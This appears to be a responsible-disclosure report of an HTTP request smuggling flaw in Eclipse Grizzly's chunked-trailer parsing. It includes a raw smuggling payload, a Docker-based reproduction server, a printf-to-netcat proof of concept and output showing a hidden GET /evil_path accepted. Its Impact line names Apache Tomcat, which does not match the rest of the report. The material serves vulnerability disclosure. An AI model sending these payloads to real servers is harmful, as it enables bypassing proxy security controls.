[Glassfish-Grizzly] HTTP Request Smuggling
From the Security ML:
```
Hello, below you can find the details of a possible security vulnerability I found in Eclipse Grizzly.
Please feel free to reach out for any further details.
Best regards,
Sebastiano Sartor
## Description
Eclipse Grizzly cannot properly parse the trailer section if there's no colon in the trailer header's line.
It will skip the following lines until the last line with a valid colon-separated key-value header pair,
which can be leveraged to perform HTTP request smuggling.
If we send the following payload, the headers of the second request (Line 12-15) will be regarded as the trailer section of the first request, while the content of the second request (Line 17-19) is processed as the second request. When sending this payload to other HTTP implementations such as NGINX, Line 12-21 would be the second request.
POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Transfer-Encoding: chunked
5
12345
0
Content: hello
a
POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Content-Length: 37
GET /evil_path HTTP/1.1
Any: any
Host: b.com
## Steps to Reproduce
- Environment used:
Dockerfile
FROM debian:trixie-slim
WORKDIR /app
ENV DEBIAN_FRONTEND='noninteractive'
RUN apt -y update \
&& apt -y upgrade \
&& apt -y install --no-install-recommends openjdk-21-jdk wget maven git
ARG APP_REPO
RUN git clone --recurse-submodules "https://github.com/eclipse-ee4j/grizzly"
ARG APP_VERSION
ARG APP_BRANCH
RUN cd grizzly \
&& git pull origin "main" \
&& git checkout "cec52148f8b6280e1dd5918eb97729a716ae49cb" \
&& mvn clean install -Dmaven.test.skip=true
COPY Server.java .
RUN javac -cp ./grizzly/modules/bundles/http-all/target/grizzly-http-all-4.1.0-SNAPSHOT.jar Server.java
CMD java -cp .:./grizzly/modules/bundles/http-all/target/grizzly-http-all-4.1.0-SNAPSHOT.jar Server
docker-compose.yml
services:
eclipse_grizzly:
build:
context: ./eclipse_grizzly
ports:
- "8080:8080"
Server.java
import java.io.IOException;
import java.io.Reader;
import java.io.Writer;
import java.io.ByteArrayOutputStream;
import org.glassfish.grizzly.http.server.HttpHandler;
import org.glassfish.grizzly.http.server.HttpServer;
import org.glassfish.grizzly.http.server.Request;
import org.glassfish.grizzly.http.server.Response;
public class Server {
public static void main(String[] args) throws IOException {
final HttpServer server = HttpServer.createSimpleServer();
for (HttpHandler handler: server.getServerConfiguration().getHttpHandlers().keySet()) {
server.getServerConfiguration().removeHttpHandler(handler);
}
server.getServerConfiguration().addHttpHandler(new GardenHandler());
server.start();
try {
Thread.sleep(Long.MAX_VALUE);
} catch (InterruptedException e) {}
}
private static class GardenHandler extends HttpHandler {
@Override
public void service(Request request, Response response) throws IOException {
final Reader in = request.getReader();
final Writer out = response.getWriter();
out.write("{\"method\":\"");
out.write(new String(request.getMethod().getMethodBytes(), "ISO-8859-1"));
out.write("\",\"uri\":\"");
out.write(request.getRequestURI() + ((request.getQueryString() != null) ? ("?" + request.getQueryString()) : ""));
out.write("\",\"headers\":[");
boolean first = true;
for (String header_name: request.getHeaderNames()) {
for (String header_value: request.getHeaders(header_name)) {
if (first) {
first = false;
} else {
out.write(",");
}
out.write("[\"");
out.write(header_name);
out.write("\",\"");
out.write(header_value);
out.write("\"]");
}
}
out.write("\"],\"version\":\"");
out.write(new String(request.getProtocol().getProtocolBytes(), "ISO-8859-1"));
out.write("\",\"body\":\"");
ByteArrayOutputStream body_stream = new ByteArrayOutputStream();
char[] buf = new char[4096];
while (true) {
int read = in.read(buf);
if (read == -1) {
break;
}
byte[] the_bytes = new String(buf, 0, read).getBytes("ISO-8859-1");
body_stream.write(the_bytes);
}
out.write(new String(body_stream.toByteArray(), "ISO-8859-1"));
out.write("\"}");
out.flush();
}
}
}
run
`docker compose up --build`
### PoC
send the following malicious request:
printf 'POST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n5\r\n12345\r\n0\r\nContent: hello\r\na\r\n\r\nPOST /benign_path HTTP/1.1\r\nHost: a.com\r\nConnection: keep-alive\r\nContent-Length: 37\r\n\r\nGET /evil_path HTTP/1.1\r\nAny: any\r\nHost: b.com\r\n\r\n' | nc 127.0.0.1 8080
In output you'll see that the evil request has been successfully smuggled:
HTTP/1.1 200 OK
Transfer-Encoding: chunked
a4
{"method":"POST","uri":"/benign_path","headers":[["host","a.com"],["connection","keep-alive"],["transfer-encoding","chunked"]"],"version":"HTTP/1.1","body":"12345"}
0
HTTP/1.1 200 OK
Transfer-Encoding: chunked
6e
{"method":"GET","uri":"/evil_path","headers":[["any","any"],["host","b.com"]"],"version":"HTTP/1.1","body":""}
0
## Impact
It can be leveraged to perform HTTP request smuggling in order to bypass security mechanisms when Apache Tomcat is deployed behind a reverse proxy.
```
issue